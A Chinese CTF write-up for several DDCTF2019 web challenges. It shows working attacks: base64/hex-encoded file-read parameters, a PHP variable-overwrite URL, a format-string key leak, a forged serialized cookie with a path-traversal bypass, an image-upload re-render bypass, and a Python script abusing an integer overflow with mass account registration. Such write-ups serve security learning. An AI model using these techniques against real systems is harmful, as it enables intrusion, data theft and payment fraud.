DDCTF2019 write up

栏目: 编程工具 · 发布时间: 4年前

最近几天抽时间做了做DDCTF,只做出了几道Web,菜哭了==,这里将做出的题记录一下吧(参赛id:stark)

滴~

http://117.51.150.246

打开题目后跳到了一个连接,页面内容是一个表情包,jpg参数值看起来像一串base64,如下图

DDCTF2019 write up

将jpg的参数值TmpZMlF6WXhOamN5UlRaQk56QTJOdz09经过两次base64解码和一次hex解码后得到flag.jpg,另外在页面源码里面看到了flag.jpg图片内容base64编码后的内容,这里是使用img标签通过data伪协议将图片显示到了页面中

DDCTF2019 write up

所以猜测这里可能是一个任意文件读取,将index.php进行一次hex编码两次base64编码后得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将值传入jpg参数尝试读取index.php源码,可以读取成功

DDCTF2019 write up

结果如下:

PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=

base64解码后:

<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
   header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

通过源码可以大概猜测出来flag在config.php配置文件里面,经过测试这个文件是存在的,但是str_replace(“config”,”!”, $file)会将传入的config.php替换为!.php,所以这里是绕不过去的,但是代码里面有一个博客链接:

https://blog.csdn.net/FengBanLiuYun/article/details/80616607

这里可能是一个hint,但是这篇连接的文章并没有什么提示,接下来在博客里翻到了一篇文章,这个文章讲的是有关临时交换文件的

https://blog.csdn.net/FengBanLiuYun/article/details/80913909
DDCTF2019 write up

这篇文章里面提到了一个名为practice.txt.swp的文件,开了一下脑洞,试着访问了一下该文件发现确实存在

DDCTF2019 write up

文件内容是另一个文件的名字f1ag!ddctf.php,并且里面有!,可以绕过之前的检测,所以这里可以读取到f1ag!ddctf.php文件,将f1agconfigddctf.php进行一次hex编码两次base64编码后构造出TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==,传入jpg参数读到f1ag!ddctf.php的源码

DDCTF2019 write up

得到结果:

PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==

base64解码得到源码内容:

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

这里是一个简单的变量覆盖,可以构造: http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp 获取flag

DDCTF2019 write up

flag:DDCTF{436f6e67726174756c6174696f6e73}

另外这里有一个tip,可以不使用变量覆盖,直接构造 http://117.51.150.246/f1ag!ddctf.php?uid= 获取到flag

DDCTF2019 write up

因为$k变量的值hello是一个不存在的文件,会导致 file_get_contents 返回False,接下来False经过 trim 函数处理后会产生一次类型转换变成空字符串,所以 $uid==$content ,直接输出了flag

WEB签到题

http://117.51.158.44/index.php

打开后直接访问会提示没有登陆权限

DDCTF2019 write up

查看源码后发现存在一个 /js/index.js 文件,index.js代码如下:

/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth(){
    $.ajax({
        type: "post",
        url:"http://117.51.158.44/app/Auth.php",
        contentType: "application/json;charset=utf-8",
        dataType: "json",
        beforeSend: function (XMLHttpRequest){
            XMLHttpRequest.setRequestHeader("didictf_username", "");
        },
        success: function (getdata){
           console.log(getdata);
           if(getdata.data !== '') {
               document.getElementById('auth').innerHTML = getdata.data;
           }
        },error:function(error){
            console.log(error);
        }
    });
}

通过简单的审计可以看到这里存在一个认证,通过ajax添加了一个http请求头 didictf_username ,猜测服务端是根据这个header头的值去做认证的,如果想访问到页面,首先需要得到出来一个username值,所以这里先对 didictf_username 进行爆破,通过爆破看到admin可以认证成功,之后会返回一个提示:app\/fL2XID2i0Cdh.php这个文件

DDCTF2019 write up

访问 http://117.51.158.44/app/fL2XID2i0Cdh.php ,可以获取到源码,源码如下:

url:app/Application.php


Class Application{
    var $path = '';


    public function response($data, $errMsg ='success'){
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth(){
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path){
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct(){
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Sessionextends Application{

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
{
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key(){
        //eancrykey and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read(){
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create(){
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

通过对代码代码审计可以看到在$session = unserialize($session)这里存在一个反序列化漏洞,这个点应该是个突破点,可以通过传入反序列化字符串触发Application对象当中的_destructs方法,_destructs当中存在任意文件读取,通过任意文件读取就可以读取到flag,另外代码里面限制了$path值为18个字符,结合代码的注释可以大概猜到flag文件为 ../config/flag.txt

但是想要触发反序列化漏洞,首先需要获取到 ../config/key.txt 文件当中的key,否则cookie是不能随意修改的,因为这里存在认证,获取key的方法如下

第一步,请求Session.php, session_create 函数会设置cookie,这里先获取到cookie

DDCTF2019 write up

第二步:将获取到的cookie添加到请求里面,绕过”the cookie data not match”

DDCTF2019 write up

接下来在传入post参数nickname的代码处,有一个foreach循环,这里会将key输出,代码如下:

DDCTF2019 write up

第一次循环,将Welcome my friend %s当中的%s替换为了 $_POST['nickname'] ,此时$data变为了Welcome my friend $_POST['nickname'] ,第二次循环,要将key写入$data的时候,%s已经没有了,所以这里只输出了传入的nickname而不是key

DDCTF2019 write up

那么要想输出key,可以将nickname设置为%s,这样第一次循环后$data变为了Welcome my friend %s,第二次循环后%s就可以被替换为key输出了

DDCTF2019 write up

获取到key值: EzblrbNSO ,得到key后,$cookiedata的值就可以随便构造了,这里构造序列化字符串进行任意文件读取,生成的exp代码如下:

<?php
Class Application{
    var $path = '..././config/flag.txt';
}
$a=new Application();
echo serialize($a);
echo md5('EzblrbNSO:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}');
?>

因为 $path=str_replace('../','',$path);$path=str_replace('..\\','',$path); 会删除 ../ ,所以这里需要使用双写 ..././ 绕过,之后得到:

O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2

将生成的exp进行传入cookie当中的ddctf_id请求即可,注意这里需要将 O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} 部分进行url编码,这样做是为了防止一些特殊字符的影响,然后就可以获取到flag了

DDCTF2019 write up

flag: DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

http://117.51.148.166/upload.php

题目提供了用户名和密码:

user:dd@ctf
pass:DD@ctf#000

通过提供用户名密码登陆后看到是一个上传页面

DDCTF2019 write up

经过尝试发现这里对图片的16进制头做了检查,另一方面也会对上传的图片进行二次渲染,上传的图片格式都会变成jpg图片格式的

这里要求上传的图片里必须要phpinfo()这个字符串才能输出flag,但是由于二次渲染会的原因,图片当中插入的代码会被删除,这里需要突破二次渲染,类似于upload-labs的第16关,相关文章如下:

https://xz.aliyun.com/t/2657

这里可以使用文章当中提到的国外大神写的脚本实现对jpg二次渲染的突破

https://github.com/BlackFan/jpg_payload

最终通过脚本生成的图片成功得到flag

DDCTF2019 write up

DDCTF2019 write up

flag: DDCTF{B3s7_7ry_php1nf0_85127c366b3a9fad}

大吉大利,今晚吃鸡~

http://117.51.147.155:5050/index.html#/login

题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

注册账户登陆,发现自己只有100余额,但是购买门票需要2000余额

DDCTF2019 write up

于是想到了之前护网杯买大辣条的一道题,这里应该存在整型溢出,经过测试发现这里存在uint32位的整型溢出.在立即购买下订单的时候修改金额为2^32+1,也就是4294967297

DDCTF2019 write up

接下来在支付的时候可以产生溢出,通过1余额购买到门票

DDCTF2019 write up DDCTF2019 write up 买到票后可以获得礼包,礼包当中包括了id和ticket,游戏规则大概是这样:每个账号在买完票后都会生成自己的id和ticket,如果想要消灭对方,需要知道对方的id和ticket才可以。

但是这一点注册账号是没有任何限制的,所以这里可以通过注册大量的账号,通过溢出购买门票获得id和ticket,之后使用其中一个账号消灭其它的账号即可,整个过程可以通过脚本实现,几个操作的接口如下:

注册接口

http://117.51.147.155:5050/ctf/api/register?name=xxx&password=xxx

登陆接口

http://117.51.147.155:5050/ctf/api/login?name=xxx&password=xxx

请求支付/下订单接口,下完订单会返回对应的bill_id

http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297

支付接口:通过溢出实现门票购买,购买成功后会返回对于的id和ticket

http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=

移除对手接口

http://117.51.147.155:5050/ctf/api/remove_robot?id=xxx&ticket=xxx

最终编写出脚本如下:

import requests
import json
username=[]
def register():
    i=1
    while True:
        url="http://117.51.147.155:5050/ctf/api/register?name=mk%s&password=12345678"%(i)
        r=requests.get(url).json()
        print r
        if len(username)==400:
            print username
            break
        if r['code']==200:
            username.append("mk%s"%(i))
            i=i+1
        else:
            i=i+1
register()
for i in username:
    url="http://117.51.147.155:5050/ctf/api/login?name=%s&password=12345678"%(i)
    #print url
    r=requests.session()
    r.get(url)
    payurl="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297"
    data=r.get(payurl).json()
    bill_id=data['data'][0]['bill_id']
    pay="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
    data=r.get(pay).json()
    yourid=data['data'][0]['your_id']
    ticket=data['data'][0]['your_ticket']
    r.get("http://117.51.147.155:5050/ctf/api/login?name=st4rk&password=12345678")
    delurl="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(yourid,ticket)
    print r.get(delurl).json()

接下来就可以执行脚本获取flag,需要注意的一点就是这里不是每个账号都可以消灭成功的,而且越往后,消灭的概率就会越低,写这道题的时候自己大概注册了快10000个账号才吃到鸡==

最终获取到flag:

DDCTF2019 write up

flag: DDCTF{chiken_dinner_hyMCX[n47Fx)}


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Building Social Web Applications

Building Social Web Applications

Gavin Bell / O'Reilly Media / 2009-10-1 / USD 34.99

Building a social web application that attracts and retains regular visitors, and gets them to interact, isn't easy to do. This book walks you through the tough questions you'll face if you're to crea......一起来看看 《Building Social Web Applications》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

MD5 加密
MD5 加密

MD5 加密工具